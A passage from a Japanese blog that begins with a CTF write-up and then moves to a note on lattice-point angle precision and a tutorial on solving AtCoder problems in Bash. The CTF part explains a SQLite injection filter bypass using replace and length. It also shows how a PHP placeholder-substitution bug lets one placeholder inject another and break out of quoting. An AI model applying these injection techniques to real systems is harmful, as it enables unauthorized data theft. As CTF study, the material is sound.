ただし、substrやlikeを使って部分文字列を検索しようとするとわふーされてしまうという第三の関門にあたった。とりあえずlengthは使えたので文字数を調べてみると、フラグは59文字あるようだった。

SQLiteのドキュメントの文字列処理関数一覧を漁っていると、replace がまだわふーされていないことに気づく。length(replace((SELECT flag FROM flag), “flag”, “”)) といったことをすると55文字になることに気づく。これでようやく「Count Number Of Flag’s Substring!」と同様の作戦でフラグを得た。

Yamatonote

YAMLでノートをアップデートできるメモサイト「Yamatonote」からメモを奪う問題。

ソースコードを見ると、とりあえずデータベースへのアクセスのクラスにプレイスホルダらしき概念が導入されているのに、なぜか手で処理していることに気づく。とても怪しい。とはいえ全体を見ている最中だったので続けて他のコードを見るが、YAMLの処理はSQLに流し込まれるだけであり、SQLへのエスケープが適切になされればとりあえずSQLから何かが漏洩するようなものはないと思われた。

そのため、データベース処理の関数、中でもエスケープ周りに注目すると、

        foreach ($param as $key => $value) {
            $value = sprintf("'%s'", mysqli_real_escape_string($this->link, $value));
            $sql = str_replace($key, $value, $sql);
        }

とあった。例えば、 {:key1 => ‘:key2’, ‘:key2’ => ‘ほげ’} というものが入力され、 :key1 が先に処理されれば、例えば

初期値: SELECT * FROM user WHERE id = :key1 AND password = :key2
一周目: SELECT * FROM user WHERE id = ':key2' AND password = :key2
二周目: SELECT * FROM user WHERE id = ''ほげ'' AND password = 'ほげ'

となり、クオートからの脱出まで完了してあとは流しこむだけ状態になっていることがわかる。実際に使うのは INSERT 文なので Yamatodo と類似の戦略が使えるが、Yamatodo と違ってエラーメッセージが表示されるので、むしろ Yamatodo より難易度は低いと感じた。PHPの連想配列でどの順でキーが登場するか調べつつ、新規メモを生成する部分に流し込んで自分のメモに呼び出したいメモを登場させてフラグを得た。

箱庭XSS 2

箱庭XSSのコードをそのまま流し込むとフラグが登場。違いがわからないまま完了。

兵法術

まさかの詰将棋問題。CTFっぽくないし、脳内で探索するとしか言いようがないので省略。電車の中で解いて時間を潰しつつCTFっぽくない問題を潰そうと思っていたら乗り過ごした。

所感など

CTFにまともに個人参加するのは初でしたし、全体の戦果はそれなりに健闘できたと考えています。残った問題はいずれもある程度の時間取り組んだ上で、芸術以外は write up を読んで勉強しようと思える問題でした。また、現に他の参加者の方の write up を読み、例えば Ninja no Aikotoba については折角怪しいと思った strcmp の返り値の処理についての考察が甘すぎたために答えに辿りつけなかった(そして恐らく然るべき考察には自分では辿りつけなかった)ことが明らかになりました。一方で、得点を見れば10位であり、周囲と比較しても一応まともに戦えた順位であると言えると思います。

CTFと云うものに手を付けてからの経験はまだまだ浅いので、今後この方面も楽しんでいきたい、と感じました。

格子点での直線の角度差の最小値

Google Code Jam の2015年の Round 1A のC問題で、格子点との角度を求めて計算をする必要があるような問題がでました。また、他にも格子点が出てきて角度を計算して処理したくなる問題があります。

格子点同士を結んだ任意の二直線の角度差の最小値がわからなかったので考えた結果の覚え書きです。ウェブで探せば既にどこかにありそうな気もしますがまあ。

大きさが l*l になるような格子で格子点を結んだ場合、二つの直線のベクトルをそれぞれ (x1, y1), (x2, y2) とします。

それぞれは 0 から l までです。

この二つの傾きはそれぞれ yi / xi となるので、この二つの傾きの差は

(y1x2 – x1y2) / (x1x2)

となります。格子点なので分子は必ず整数なので、傾きの差は最小でも l-2 となります。

また、逆数の差も必ず l-2 あるので、絶対値の差だけでなく相対的な差も l-2 以上あることになります。

ここで x1 = x2 = l の時、分子がlの倍数になってしまい 1/l より大きくなるので、実は l-2 よりほんのすこし大きくなります。二直線が (l-1, 1) (l, 1) の時、 1 / l(l-1) で最小です。通常その差は意識しないので、以後は l-2 として行きます。

角度差の最小値については、 0から45度(π/4)までを対象に考えます(他の領域でも計算過程が異なるだけで結果は同じになるはずなので)。

d/dx tan-1x = cos2 (tan-1 x) はこの範囲で 1/2 から 1 までの範囲で変化するので、角度の差の最小値は l-2/2 ラジアン、あるいは 90π-1l-2 度ということになります。

従って、計算するのに型を決定したりするにあたっては

傾きの計算と結果: 相対誤差または絶対誤差のうち小さい方が l-2
ラジアンの保存: 絶対誤差が l-2/2
ラジアンについてのEPSの設定: l-2/2 未満

実際には誤差が累積するので、これに対して余裕を持った値ということでしょうか。

なお、doubleは仮数部が52ビットらしいので、20ビットだとラジアンについても累積して41ビットにならなければよいので格子サイズの縦や横が20ビットくらいまで(1e6くらいまで)なら心配する必要はないという感じでしょうか。

変な組み合わせですごく小さな誤差が出るのでは?というのが怖かったのですが、これで安心して書けそうです。

Bashを使ってAtCoder Beginners Contestの簡単な問題を解いてみる

AtCoder Beginners Contest (ABC) において、A, B問題の速解きテンプレートを作成している人も多く見かけます。しかし、たいていはC++が主流となっています。C++では型の扱いなども問題もあるため、このような場面では型がいつの間にか変換されるような言語を用いたほうが楽であると考えられます。

さて、AtCoderでは多様な言語を選択可能で、”Bash”というものも選択可能です。ABCでもC問題以降のようなものをBashで解くのは面倒かと思いますが、A問題、B問題を速く特にあたってBashを利用することは現実味を帯びているとも考えられます。実際のコンテストの解答一覧で検索しても、実際にBashを利用してA問題やB問題を解いている参加者はちらほらいるようです。また、サーバー管理等でも、自分のやりたいことをBashで書けると便利です。

そのため、ABCのA問題、B問題のような問題を解くために必要となるようなコマンドの使い方をある程度調べながら考えていくことにします。

まず、ABC004 A問題「流行」を見てみます。入力が一つで、入力をN(整数)とした時2*Nを返します。入力が一つのシンプルなパターンでは、入力値を取り出すのに

`cat`

とすることができます。また、bash上での整数の四則演算にはexprが使えますから、

expr `cat` \* 2

とすると解けるはずですね(*はそのままだとワイルドカードとみなされ、カレントディレクトリのファイル名一覧として展開されてしまうためエスケープする必要があることに注意しましょう)。しかし、実際にこれを提出するとRuntime Error (RE)となります。これは、exprでは演算結果が0の時exit statusが1となってしまうため、異常終了とみなされてしまうことにあります。そのため、

expr `cat` \* 2
exit 0

とする必要があります。こうするとACとなります。

入力値が複数ある場合はまた考える必要があります。ABC005 A問題「おいしいたこ焼きの作り方」では、標準入力からスペースで区切られたxとyを読み取り、y/xの値(小数点以下切り捨て)を出力する必要があります。

readコマンドを利用すると、複数の入力を複数の変数に入れることができます。

read a b
expr $b / $a
exit 0

とすると解くことができます。

文字列処理の問題が出てくることもあります。ABC010 A問題「ハンドルネーム」では、受け取った文字列の末尾にppをつけます。
まずはsedを使って

sed -e 's/$/pp/'

とかやることで、正規表現一発で済む問題は解くことができます。

また、ABC005 A問題あたりで出てきたテンプレっぽい何かを使って

read a
echo $a'pp'
exit 0

という風にすることもできます。sedなど、標準入力から読み込むコマンドをつかいたければ

read a
echo $a | sed -e 's/$/pp/'
exit 0

などすることもできます。


climpet氏のこの発言に従えば、

read a b c
expr
exit 0

までを事前に用意しておき、問題を読んだら演算結果のみをexprの右に、もし数値演算でなければexprではなくsedなどにすればよいことになります。入力する量はC++で事前にテンプレートを作った場合とそれほど変わらないと思いますが、見た目がシンプルでどこに書くか探しやすいのと、数字ではなく文字列だった場合も対処が楽というメリットがあります。

また、ABC009 B問題「心配性な富豪、ファミリーレストランに行く。」というように、行単位で入力が与えられ、その処理がシンプルに終わる場合、Bashを使うと楽に解けることがあります。

一行目は要らないので(EOFを考えなくても入力できるようになるためのもの)tailコマンドを利用して取り除くことにします。あとは重複を取り除き、大きい方から2番めの数字を取り出すわけですが、それぞれはそういうことをしてくれるコマンドがあるので、

tail -n +2 | sort -n | uniq | tail -n 2 | head -n 1

とすることで楽に求められます。こういうのに慣れると(あとはcutやsedが使えると)目grepだと大変だがそんなに大規模でないログから必要な情報を取り出すのにも役立ちそうです。

また、ABC008 B問題「投票」では、それぞれの行の内容を集計し、最多のものを出す、ということをする必要があります。Bashで集計をするにも、 uniq -c とすると件数を出してくれます。あとはそれを処理すればいいので、

tail -n +2 | sort | uniq -c | sort -n | tail -n 1 | sed -e 's/^ *[0-9]* //g'

とすることができます。

今回はABCのA,B問題ということで基本的なコマンドの色々な挙動を調べつつ覚えていこう、というのが大半になりましたが、Bashでも短くコンパクトに意外と色々なことができます。サーバー上で色々やるために使っていると実際に使用するコードだとPerlなどの既にインストールされたLLのワンライナーを突っ込むこともありますが、ABCのA,B問題のいくつかではよくあるコマンドをパイプすることでBashがコンパクトに解けました。